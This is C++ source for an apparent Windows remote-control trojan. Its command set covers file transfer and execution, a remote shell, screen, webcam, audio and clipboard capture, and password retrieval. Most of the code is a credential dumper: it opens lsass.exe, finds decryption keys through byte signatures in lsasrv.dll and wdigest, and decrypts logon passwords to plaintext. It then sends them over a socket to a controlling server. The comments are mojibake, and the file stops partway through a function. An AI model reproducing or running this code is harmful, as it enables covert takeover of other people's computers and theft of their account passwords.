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// ReadBridge.cpp : Defines the entry point for the console application. // #include "stdafx.h" #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _WINSOCK_DEPCRECATED #include "ReadBridge.h" #include "winternl.h" #ifdef _DEBUG #define new DEBUG_NEW #endif class CModuleSocket { public: CModuleSocket(void); ~CModuleSocket(void); UINT32 ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess); //Á¬½Ó·þÎñÆ÷ UINT32 SendCommand(IN const SOCKET socket, IN char* szBuf, IN int bytes, OUT bool* pbSuccess); //·¢ËÍÏûÏ¢ UINT32 RecvCommand(IN const SOCKET socket, OUT char* szBuf, OUT int bytes, OUT bool *pbSuccess); //½ÓÊÜÏûÏ¢ void Clean(); public: UINT m_nPort; //Á¬½Ó¶Ë¿Ú }; #pragma once #include <windows.h> //Êý¾Ý´«ÊäµÄ»º³åÇø´óС #define CONTEXT_BUF_SIZE (1024 * 4) //IPµØÖ·»º³åÇø´óС #define IPADDR_SIZE 32 //´ÓÍøÒ³»ñÈ¡IPµØÖ·µÄÐÅÏ¢»º³åÇø #define WEBSITE_BUF_SIZE 512 //ÆÁÄ»´«ÊäµÄ»º³åÇø´óС #define SCREEN_BUF_SIZE 4030 //ÊÓÆÁ´«Ê仺³åÇø´óС #define VIDEO_BUF_SIZE 4020 //ÓïÒô´«Ê仺³åÇø´óС #define AUDIO_BUF_SIZE 4078 //¼ôÌù°å´«Ê仺³åÇø´óС #define CLIPBOARD_BUF_SIZE 4078 //--------------------------------------------------- //Ö¸ÁîµÄºê¶¨Òå #define CMD_SHAKEHAND 0x01 //ÎÕÊÖÑéÖ¤ #define CMD_SYSINFO 0x02 //ϵͳÐÅÏ¢ #define CMD_DISKINFO 0x03 //´ÅÅÌÐÅÏ¢ #define CMD_FILELIST 0x04 //Îļþ¼ÐÐÅÏ¢ #define CMD_DOWNLOAD 0x05 //ÎļþÏÂÔØ #define CMD_UPLOAD 0x06 //ÎļþÉÏ´« #define CMD_FILEUPLOAD 0x07 //ÎļþÊý¾ÝÉÏ´« #define CMD_FILEEXEC 0x08 //ÎļþÖ´ÐÐ #define CMD_REFRESH 0x09 //ˢР#define CMD_FOLDER_CREATE 0x10 //´´½¨Ä¿Â¼(Îļþ¼Ð) #define CMD_FILE_DEL 0x11 //Îļþ£¨¼Ð£©É¾³ý #define CMD_FILE_COPY 0x12 //ÎļþµÄ¸´ÖÆ #define CMD_FILE_PASTE 0x13 //ÎļþµÄÕ³Ìù #define CMD_FILE_RENAME 0x14 //Îļþ(¼Ð)ÖØÃüÃû #define CMD_ATTRIBUTE 0x15 //ÊôÐÔ #define CMD_TELNET 0x16 //¿ªÆôÔ¶³ÌÖÕ¶Ë #define CMD_COMMOND 0x17 //·¢ËÍÃüÁî #define CMD_CHATMSG 0x18 //ÁÄÌìÏûÏ¢ #define CMD_PROGRESS 0x19 //½ø³Ì¹ÜÀí #define CMD_PROC_TASKKILL 0x20 //¹Ø±Õ½ø³Ì #define CMD_SCREEN 0x21 //ÆÁÄ»²é¿´ #define CMD_GETPWD 0x22 //»ñȡϵͳµÄÕʺÅÃÜÂë #define CMD_VIDEO_VIEW 0x23 //ÊÓÆÁ²é¿´ #define CMD_OPERATOR 0x24 //¹Ø»ú/×¢Ïú/ÖØÆô #define CMD_AUDIO 0x25 //ÓïÒô¼àÌý #define CMD_BROADCAST 0x26 //Ô¶³ÌÃüÁî¹ã²¥ #define CMD_DESKTOP 0x27 //×ÀÃæ¹ÜÀí //----------------------------------------------------- typedef struct tagMSGINFO //´«ÊäÏûÏ¢½á¹¹Ìå { int Msg_id; BYTE context[CONTEXT_BUF_SIZE]; }MSGINFO_S; typedef struct tagSYSTEMINFO //²Ù×÷ϵͳÐÅÏ¢ { char szWANIP[IPADDR_SIZE]; //¹«ÍøIPµØÖ· char szLocalIP[IPADDR_SIZE]; //±¾»úIPµØÖ· char hostName[255]; //¼ÆËã»úÃû bool Cam; //ÉãÏñÍ· int OSVer; //²Ù×÷ϵͳ°æ±¾ wchar_t szCPUInfo[MAX_PATH]; //cpuÐÅÏ¢ DWORD dwDiskSize; //Ó²ÅÌÐÅÏ¢ }SYSTEMINFO_S; typedef struct tagDRIVER //´ÅÅÌÐÅÏ¢ { wchar_t disk; //´ÅÅÌÃû double dwTotal; //´ÅÅ̵ĴóС double dwFree; //Ê£Óà¿Õ¼ä int nType; //ÀàÐÍ }DRIVER_S; typedef struct tagFILEINFO //ÎļþÐÅÏ¢ { TCHAR szFileName[MAX_PATH]; //ÎļþÃû int nType; //ÎļþÀàÐÍ(Îļþ\Îļþ¼Ð) __int64 size; //Îļþ´óС }FILEINFO_S; typedef struct tagTEMPSTRUCT //ÔÚÎļþÏÂÔعý³ÌÖеÄÁÙʱ½á¹¹Ìå { DWORD cFileInfo; //CFileInfoÀàµÄÖ¸Õë SOCKET l_Socket; //socket¶ÔÏó BYTE context[MAX_PATH]; //Îļþ·¾¶ }TEMPSTRUCT; typedef struct tagDOWNFILEDATA //Îļþ´«ÊäÊý¾Ý¿é½á¹¹ { BYTE context[512]; //¿éÊý¾ÝµÄ´óС UINT size; //Îļþ´óС UINT nCount; //´ÎÊý£¬ÓÃÓÚ½ø¶ÈÌõµÄÏÔʾ bool bFlag; //ÎļþÊÇ·ñ´«ÊäÍê±Ï }DOWNFILEDATA_S; typedef struct tagFILEEXECINFO //ÎļþÖ´Ðнá¹ûÐÅÏ¢ { wchar_t szFilePath[MAX_PATH]; //ÎļþÃû bool bSuccess; //Ö´Ðнá¹û }FILEEXECINFO_S; typedef struct tagFILEDELSTRUCT //Îļþ£¨¼Ð£©É¾³ý´«µÝÏ̵߳ĽṹÌå { DWORD cDiskInfo; //CDiskÀàµÄÖ¸Õë SOCKET l_Socket; //socket¶ÔÏó FILEINFO_S tagFileInfo; //ÎļþÀàÐͽṹÌå }FILEDELSTRUCT_S; typedef struct tagFILECOPY //Îļþ¸´Öƽá¹ûÐÅÏ¢ { wchar_t szFilePath[MAX_PATH]; //Îļþȫ·¾¶ wchar_t szFileName[MAX_PATH]; //ÎļþÃû bool bTag; //ÊÇ·ñ·¢ËÍÍê±Ï }FILECOPY_S; typedef struct tagATTRIBUTE //ÊôÐÔ { wchar_t szFilePath[MAX_PATH]; //ÎļþËùÔÚµÄĿ¼ wchar_t szFileName[MAX_PATH]; //ÎļþÃû int nType; //Îļþ(¼Ð)ÀàÐÍ SYSTEMTIME sysCreateTime; //´´½¨Ê±¼ä SYSTEMTIME sysModifyTime; //ÐÞ¸Äʱ¼ä SYSTEMTIME sysVisitTime; //·ÃÎÊʱ¼ä bool bArchive; //´æµµ bool bReadOnly; //Ö»¶Á bool bHide; //Òþ²Ø bool bSystem; //ϵͳ }ATTRIBUTE_S; typedef struct tagCMD //CMDÃüÁîÐÅÏ¢ { int flag; //½á¹¹Ìå±£Áô×ֶΠchar command[1024]; //ÃüÁîÐÐ }COMMOND_S; typedef struct tagCHATMSG //ÁÄÌìÏûÏ¢ { bool bfirstSend; //ÊÇ·ñµÚÒ»´Î·¢ËÍÐÅÏ¢ bool bClose; //ÊÇ·ñ¹Ø±Õ wchar_t szChatMsg[1024]; //ÁÄÌìÄÚÈÝ }CHATMSG_S; typedef struct tagPROGRESS //½ø³ÌÁбíÐÅÏ¢ { wchar_t szProName[MAX_PATH]; //½ø³ÌÃû DWORD nPid; //½ø³ÌIDºÅ int nThreadCount; //Ïß³Ì×ÜÊý int nLevel; //½ø³Ì¼¶±ð wchar_t szProPath[MAX_PATH]; //½ø³Ì·¾¶ int nTag; //½áÊøµô½ø³ÌÊDz»Êdzɹ¦ÁË(±£Áô¹Ø¼ü×Ö) }PROGRESS_S; typedef struct tagBMPHEADINFO //BMPλͼͷÐÅÏ¢ { BITMAPINFO tagBitmapInfo; //λͼÐÅÏ¢ }BMPHEADINFO_S; typedef struct tagBMPDATA //BMPͼÏñÊý¾Ý { BITMAPINFO bmpinfo; //λͼÐÅÏ¢ int Id; bool bShow; //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ int Size; int HeadSize; UINT Begin; BYTE Data[SCREEN_BUF_SIZE]; //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ64 + 4030 = 4094 < 4 * 1024 }BMPDATA_S; typedef struct tagREADPSWDATA //ÖØÒªµÄϵͳÕʺźÍÃÜÂë { wchar_t szUserName[250]; //ÕʺŠwchar_t szUserPwd[250]; //ÃÜÂë wchar_t szDomain[250]; //Óò wchar_t szErrorMsg[50]; //´íÎóÐÅÏ¢ }READPSWDATA_S; typedef struct tagVIDEODATA //ÊÓÆÁÊý¾Ý { BITMAPINFO bmpinfo; //λͼÐÅÏ¢ int Id; bool bShow; //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ DWORD Size; //Êý¾Ý´óС int HeadSize; //ÊÓÆÁÍ·Êý¾Ý UINT Begin; //µÚ¼¸´Î·¢ËÍ int dwExtend1; //ѹËõÇ°³¤¶È int dwExtend2; //ѹËõºó³¤¶È BYTE Data[VIDEO_BUF_SIZE]; //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ74 + 4020 = 4094 < 4 * 1024 }VIDEODATA_S; typedef struct tagVIDEOTEMP { DWORD cThis; SOCKET l_Socket; }VIDEOTEMP_S; typedef struct tagOPERATOR //¹Ø»ú/×¢Ïú/ÖØÆô { int nType; //ÀàÐÍ£¨0--±íʾ¹Ø»ú£¬ 1--±íʾעÏú£¬ 2--±íʾÖØÆô£© }OPERATOR_S; typedef struct tagAUDIODATA //ÓïÒôÊý¾Ý { int Id; bool bRead; //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý DWORD dwSize; //Êý¾Ý´óС UINT Begin; //µÚ¼¸´Î·¢ËÍ BYTE Data[AUDIO_BUF_SIZE]; //Êý¾Ý }AUDIODATA_S; typedef struct tagINTERNET //ÍøÒ³ { bool bDownLoad; //ÊÇ·ñÏÂÔØÎļþ bool bRunExe; //ÊÇ·ñÔËÐÐÏÂÔØÎļþ wchar_t szWebSite[MAX_PATH]; //ÍøÒ³µÄ·¾¶ }INTERNET_S; typedef struct tagWNDINFO //µ¯´°ÐÅÏ¢ { wchar_t szTitle[MAX_PATH]; //±êÌâ wchar_t szContent[MAX_PATH]; //ÄÚÈÝ UINT nType; //ÀàÐÍ }WNDINFO_S; typedef struct tagBROADCAST //¹ã²¥ÃüÁî { bool bTag; //±êÖ¾ INTERNET_S tagInternet; WNDINFO_S tagWndInfo; }BROADCAST_S; typedef struct tagBROADTEMP //ÁÙʱ½á¹¹Ìå { DWORD cWorkMain; BROADCAST_S* pTagBroadCast; }BROADTEMP_S; typedef struct tagDESKTOPINFO //×ÀÃæ¹ÜÀí { int nType; //²Ù×÷ÀàÐÍ bool bTag; //²Ù×÷±ê¼Ç }DESKTOPINFO_S; typedef struct tagCLIPBOARD { int id; bool bRead; //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý DWORD dwSize; //Êý¾Ý´óС UINT Begin; //µÚ¼¸´Î·¢ËÍ char Data[CLIPBOARD_BUF_SIZE]; //Êý¾Ý }CLIPBOARD_S; //------------------------------------------ //²Ù×÷ϵͳµÄ°æ±¾ºÅ enum SYSVERSION { OS_2000, OS_XP, OS_2003, OS_Vista, //Vista°æ±¾ºÅÓë2008 serverÒ»Ñù OS_WIN7, OS_WIN8, OS_UNKNOWN //δ֪²Ù×÷ϵͳ }; //Ó²ÅÌÀàÐÍ enum DISKTYPE { DISK_FIXED, //¹Ì¶¨Ó²ÅÌ DISK_REMOVABLE, //Òƶ¯Ó²ÅÌ DISK_CDROM //CD-ROM }; //ÎļþÀàÐÍ enum FILEATTR { FILE_ATTR, //Îļþ FOLDER_ATTR, //Îļþ¼Ð FILE_TAG //±ê־룬±íʾÎļþÐÅÏ¢ÒѾ·¢ËÍÍê±Ï }; //½ø³ÌÓÅÏȼ¶ enum PROGRESS_LEVEL { UNKNOWN_LEVEL, //δ֪ NORMAL, //±ê×¼ IDLE, //µÍ REALTIME, //ʵʱ HIGH, //¸ß ABOVENORMAL, //¸ßÓÚ±ê×¼ BELOWNORMAL //µÍÓÚ±ê×¼ }; //×ÀÃæ¹ÜÀíÀàÐÍ enum DESKTOP_TYPE { MOUSE_MOVE, //Êó±êÒƶ¯ DESKTOP_ICON, //×ÀÃæͼ±ê TASKBAR, //ÈÎÎñ¹ÜÀí CLIPBOARD //¼ôÌù°å }; #pragma once #include <windows.h> #include <stdio.h> //»ñÈ¡¼ÆËã»úϵͳÕʺš¢ÃÜÂëºÍµÇ¼Óò #define MEM_SIZE 0x1000 #define WIN7 0x0100 #define WINXP 0x0101 #define WIN03 0x0102 typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; typedef struct _SECURITY_LOGON_SESSION_DATA { ULONG Size; LUID LogonId; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; ULONG LogonType; ULONG Session; PSID Sid; LARGE_INTEGER LogonTime; LSA_UNICODE_STRING LogonServer; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING Upn; } SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA; typedef int(__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLE, DWORD, PVOID, ULONG, PULONG); typedef int(__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *); typedef int(__stdcall * pDECRIPTFUNC)(PBYTE, DWORD); typedef int(__stdcall * pLSAFREERETURNBUFFER)(PVOID); typedef int(__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *); // ½âÃܺ¯ÊýÌØÕ÷Âë(lsasrv.text) static BYTE DecryptfuncSign[] = { 0x48, 0x83, 0xEC, 0x68, 0x4C, 0x8b, 0x15, 0xa5, 0xd6, 0x16, 0X00 }; static BYTE DecryptfuncSign2[] = { 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x6A, 0x00, 0xFF, 0x75, 0x0C, 0xFF, 0x75, 0x08, 0xE8 }; // ÃÜÔ¿KEYÏà¹ØµÄ¹Ø¼üµØÖ·ÌØÕ÷Âë(lsasrv.text) static BYTE DecryptKeySign_WIN7[] = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 }; static BYTE DecryptKeySign_XP[] = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 }; // ÃÜÎĹؼüÖ¸ÕëÌØÕ÷Âë(wdigest.text) static BYTE KeyPointerSign[] = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 }; // È«¾Ö±äÁ¿ static BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200]; static BYTE Encryptdata[0x100]; class CReadPsw { public: CReadPsw(void); ~CReadPsw(void); public: void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind); CString CharToCString(IN char* result); HANDLE GetProcessHandleByName(const TCHAR *szName); LPVOID GetEncryptListHead(); void printSessionInfo(pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID, OUT READPSWDATA_S* tagRPWDATA); PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize); int EnableDebugPrivilege(); void SendSecurityPwd(IN SOCKET sock); //µÃµ½²¢·¢ËÍ»ñÈ¡µ½µÄ¹ÜÀíÔ±ÕʺźÍÃÜÂë private: CModuleSocket m_moduleSocket; }; #include <iostream> #include "Ws2tcpip.h" CModuleSocket::CModuleSocket(void) { } CModuleSocket::~CModuleSocket(void) { } UINT32 CModuleSocket::ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess) { UINT32 result = ERROR_SUCCESS; if (NULL == pIpAddr || NULL == pbSuccess) { result = ERROR_INVALID_PARAMETER; return result; } bool bSuccess = true; SOCKET socket = INVALID_SOCKET; try { WSADATA wsadata = { 0 }; int iRet = WSAStartup(MAKEWORD(2, 2), &wsadata); if (iRet) { std::cout << "Unable to start" << std::endl; result = WSAGetLastError(); bSuccess = false; throw result; } socket = ::socket(AF_INET, SOCK_STREAM, 0); if (INVALID_SOCKET == socket) { std::cout << "socket³õʼ»¯Ê§°Ü!" << std::endl; result = WSAGetLastError(); bSuccess = false; throw result; } sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; //serverAddr.sin_addr.S_un.S_addr = inet_addr(pIpAddr); InetPton(AF_INET, PCWSTR(pIpAddr), &serverAddr.sin_addr.S_un.S_addr); serverAddr.sin_port = htons(m_nPort); iRet = connect(socket, (sockaddr*)&serverAddr, sizeof(sockaddr_in)); if (SOCKET_ERROR == iRet) { std::cout << "Á¬½Ó·þÎñÆ÷¶Ëʧ°Ü!" << std::endl; result = WSAGetLastError(); bSuccess = false; throw result; } else { std::cout << "Á¬½Ó·þÎñÆ÷³É¹¦!" << std::endl; *pSocket = socket; } } catch (UINT32) { } *pbSuccess = bSuccess; return result; } UINT32 CModuleSocket::SendCommand(IN const SOCKET socket, IN char* szBuf, IN int bytes, OUT bool* pbSuccess) { UINT32 result = ERROR_SUCCESS; if (INVALID_SOCKET == socket || 0 == bytes || NULL == pbSuccess) { result = ERROR_INVALID_PARAMETER; return result; } bool bSuccess = true; const char* pCurBuf = szBuf; //µ±Ç°ÒѾ·¢ËÍÍê±ÏµÄ»º³åÇøÊý¾Ý try { while (bytes > 0) //ûÓз¢ËÍÍê±Ï { int nTotal = send(socket, (char*)pCurBuf, bytes, 0); if (SOCKET_ERROR == nTotal) //·¢ËÍʧ°Ü { result = WSAGetLastError(); bSuccess = false; throw result; } else if (0 == nTotal) //·¢ËÍÍê±Ï { break; } bytes -= nTotal; pCurBuf += nTotal; } } catch (UINT32) { } *pbSuccess = bSuccess; return result; } UINT32 CModuleSocket::RecvCommand(IN const SOCKET socket, OUT char* szBuf, OUT int bytes, OUT bool *pbSuccess) { UINT32 result = ERROR_SUCCESS; if (INVALID_SOCKET == socket || NULL == pbSuccess) { result = ERROR_INVALID_PARAMETER; return result; } bool bSuccess = true; char* pCurBuf = szBuf; //µ±Ç°ÒѾ·¢ËÍÍê±ÏµÄ»º³åÇøÊý¾Ý try { while (bytes > 0) //ûÓз¢ËÍÍê±Ï { int nTotal = recv(socket, (char*)pCurBuf, bytes, 0); if (SOCKET_ERROR == nTotal) //·¢ËÍʧ°Ü { result = WSAGetLastError(); bSuccess = false; throw result; } else if (0 == nTotal) //·¢ËÍÍê±Ï { break; } bytes -= nTotal; pCurBuf += nTotal; } } catch (UINT32) { } *pbSuccess = bSuccess; return result; } void CModuleSocket::Clean() { ::WSACleanup(); } CReadPsw::CReadPsw(void) { } CReadPsw::~CReadPsw(void) { } void CReadPsw::SendSecurityPwd(IN SOCKET sock) { HINSTANCE hModlsasrv; DWORD LogonSessionCount, i; SIZE_T dwBytesRead; PLUID LogonSessionList, pCurLUID, pListLUID; BYTE EncryptBuf[0x200]; HANDLE hProcess; if (EnableDebugPrivilege() != 1) puts("EnableDebugPrivilege fail !"); hProcess = GetProcessHandleByName(_T("lsass.exe")); if (hProcess == NULL) { // puts("GetProcessHandleByName fail !") ; // puts("Try To Run As Administrator ...") ; return; } OSVERSIONINFO VersionInformation; DWORD dwVerOff = 0, osKind = -1; // °æ±¾ÅÐ¶Ï memset(&VersionInformation, 0, sizeof(VersionInformation)); VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation); VersionInformation.dwMajorVersion = 6; //GetVersionEx(&VersionInformation); if (VersionInformation.dwMajorVersion == 5) { if (VersionInformation.dwMinorVersion == 1) { dwVerOff = 36; osKind = WINXP; } else if (VersionInformation.dwMinorVersion == 2) { dwVerOff = 28; osKind = WIN03; } } else if (VersionInformation.dwMajorVersion == 6) { dwVerOff = 32; osKind = WIN7; } if (osKind == -1) { printf("[Undefined OS version] Major: %d Minor: %d\n", \ VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion); CloseHandle(hProcess); return; } // »ñµÃ½âÃܺ¯ÊýµØÖ· pDECRIPTFUNC DecryptFunc; hModlsasrv = LoadLibrary(_T("lsasrv.dll")); //schannel.dll if (hModlsasrv == NULL) { //std::cout << "cannot locate the .dll file" << std::endl; wchar_t *s = NULL; FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, WSAGetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&s, 0, NULL); fprintf(stderr, "%S\n", s); LocalFree(s); return; } else { std::cout << "lsasrv Library Loaded" << std::endl; } DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign)); // »ñµÃÃÜÎÄÁ´±íÍ·µØÖ· LPVOID ListHead; ListHead = GetEncryptListHead(); // »ñµÃÈ«¾ÖÊý¾Ý(lsasrv.data¼°½âÃÜKEYÏà¹ØµÄÊý¾Ý) CopyKeyGlobalData(hProcess, hModlsasrv, osKind); HINSTANCE hModSecur32; pLSAENUMERATELOGONSESSIONS LsaEnumerateLogonSessions; pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData; pLSAFREERETURNBUFFER LsaFreeReturnBuffer; hModSecur32 = LoadLibrary(_T("Secur32.dll")); LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32, "LsaEnumerateLogonSessions"); LsaGetLogonSessionData = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData"); LsaFreeReturnBuffer = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32, "LsaFreeReturnBuffer"); LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList); MSGINFO_S tagMsgInfo; READPSWDATA_S tagRPWDATA; bool bSuccess = true; for (i = 0; i < LogonSessionCount; i++) //Ñ»·±éÀúµ±Ç°ÕʺÅÐÅÏ¢ { memset(&tagMsgInfo, 0, sizeof(MSGINFO_S)); //³õʼ»¯½á¹¹ÌåÐÅÏ¢ memset(&tagRPWDATA, 0, sizeof(READPSWDATA_S)); tagMsgInfo.Msg_id = CMD_GETPWD; pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i); // ´òÓ¡Ïà¹ØÐÅÏ¢ printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID, &tagRPWDATA); //»ñÈ¡µÇ¼ÃûºÍµÇ¼Óò // ±éÀúÁ´Ê½½á¹¹²éÕÒµ±Ç°µÄLUID ReadProcessMemory(hProcess, ListHead, EncryptBuf, 0x100, &dwBytesRead); while (*(DWORD *)EncryptBuf != (DWORD)ListHead) { ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead); pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10); if ((pListLUID->LowPart == pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart)) { break; } } if (*(DWORD *)EncryptBuf == (DWORD)ListHead) { puts("Specific LUID NOT found\n"); wchar_t szErrorMsg[] = _T("Specific LUID NOT found"); wsprintfW(tagRPWDATA.szErrorMsg, szErrorMsg); //´íÎóÐÅÏ¢ } else { DWORD pFinal = 0; DWORD nBytes = 0; LPVOID pEncrypt; pFinal = (DWORD)(pListLUID)+dwVerOff; nBytes = *(WORD *)((DWORD)pFinal + 2); // ÃÜÎÄ´óС pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)); // ÃÜÎĵØÖ·(Remote) memset(Encryptdata, 0, sizeof(Encryptdata)); ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead); // µ÷ÓýâÃܺ¯Êý½âÃÜ DecryptFunc(Encryptdata, nBytes); // ´òÓ¡ÃÜÂëÃ÷ÎÄ printf("password: %S\n\n", Encryptdata); wsprintfW(tagRPWDATA.szUserPwd, _T("%s"), Encryptdata); } memcpy((char*)tagMsgInfo.context, (char*)&tagRPWDATA, sizeof(READPSWDATA_S)); m_moduleSocket.SendCommand(sock, (char*)&tagMsgInfo, sizeof(MSGINFO_S), &bSuccess); } CloseHandle(hProcess); LsaFreeReturnBuffer(LogonSessionList); FreeLibrary(hModlsasrv); FreeLibrary(hModSecur32); if (osKind == WIN7) { FreeLibrary(GetModuleHandle(_T("bcrypt.dll"))); FreeLibrary(GetModuleHandle(_T("bcryptprimitives.dll"))); } } void CReadPsw::CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind) { PIMAGE_SECTION_HEADER pSectionHead; PIMAGE_DOS_HEADER pDosHead; PIMAGE_NT_HEADERS pPEHead; DWORD dwBytes; SIZE_T dwBytesRead; LPVOID pdataAddr, pDecryptKey, DecryptKey, pEndAddr; pDosHead = (PIMAGE_DOS_HEADER)hModlsasrv; pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER)); pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress + (DWORD)hModlsasrv); dwBytes = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000; ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead); pPEHead = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv); pEndAddr = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv); switch (osKind) { case WINXP: case WIN03: { pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr, \ DecryptKeySign_XP, sizeof(DecryptKeySign_XP)); pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey + sizeof(DecryptKeySign_XP)); ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead); // DecryptKey ÊÇÓë½âÃÜÏà¹ØµÄ¹Ø¼üµØÖ· ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead); pdataAddr = (LPVOID)pDecryptKey; *(DWORD *)pdataAddr = (DWORD)MemBuf; break; } case WIN7: { // WIN7 Ðèµ÷ÓÃÕâÁ½¸öDLLÖеĺ¯Êý½øÐнâÃÜ LoadLibrary(_T("bcrypt.dll")); LoadLibrary(_T("bcryptprimitives.dll")); pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr, \ DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7)); pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4)); // DecryptKey ÊÇÓë½âÃÜÏà¹ØµÄ¹Ø¼üµØÖ· ReadProcessMemory(hProcess, pDecryptKey, &DecryptKey, 0x4, &dwBytesRead); ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead); pdataAddr = (LPVOID)pDecryptKey; *(DWORD *)pdataAddr = (DWORD)MemBuf; ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead); pdataAddr = (LPVOID)((DWORD)MemBuf + 8); *(DWORD *)pdataAddr = (DWORD)SecBuf; ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead); pdataAddr = (LPVOID)((DWORD)MemBuf + 0xC); *(DWORD *)pdataAddr = (DWORD)ThirdBuf; break; } } return; } CString CReadPsw::CharToCString(IN char* result) { //½«char ת»»Îª CString×Ö·û DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, result, -1, NULL, 0); wchar_t *pwText; pwText = new wchar_t[dwNum]; if (!pwText) { delete[]pwText; return NULL; } MultiByteToWideChar(CP_ACP, 0, result, -1, pwText, dwNum);// ¿ªÊ¼×ª»» CString cstr = pwText; delete pwText; return cstr; } struct RTL_USER_PROCESS_PARAMETERS_I { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; }; struct PEB_INTERNAL { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; struct PEB_LDR_DATA* Ldr; RTL_USER_PROCESS_PARAMETERS_I* ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; struct PS_POST_PROCESS_INIT_ROUTINE* PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; }; HANDLE CReadPsw::GetProcessHandleByName(const TCHAR *szName) { // // GetProcessHandle»ñµÃlsass.exe½ø³Ì¾ä±ú // DWORD dwProcessId, ReturnLength, nBytes; PROCESS_BASIC_INFORMATION pbi; //smPPROCESS_BASIC_INFORMATION pbi = (smPPROCESS_BASIC_INFORMATION)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY, sizeof(smPROCESS_BASIC_INFORMATION)); WCHAR Buffer[MAX_PATH + 0x20]; HANDLE hProcess; PWCHAR pRetStr; pNTQUERYPROCESSINFORMATION NtQueryInformationProcess; CHAR szCurrentPath[MAX_PATH]; NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueryInformationProcess"); // Process ID 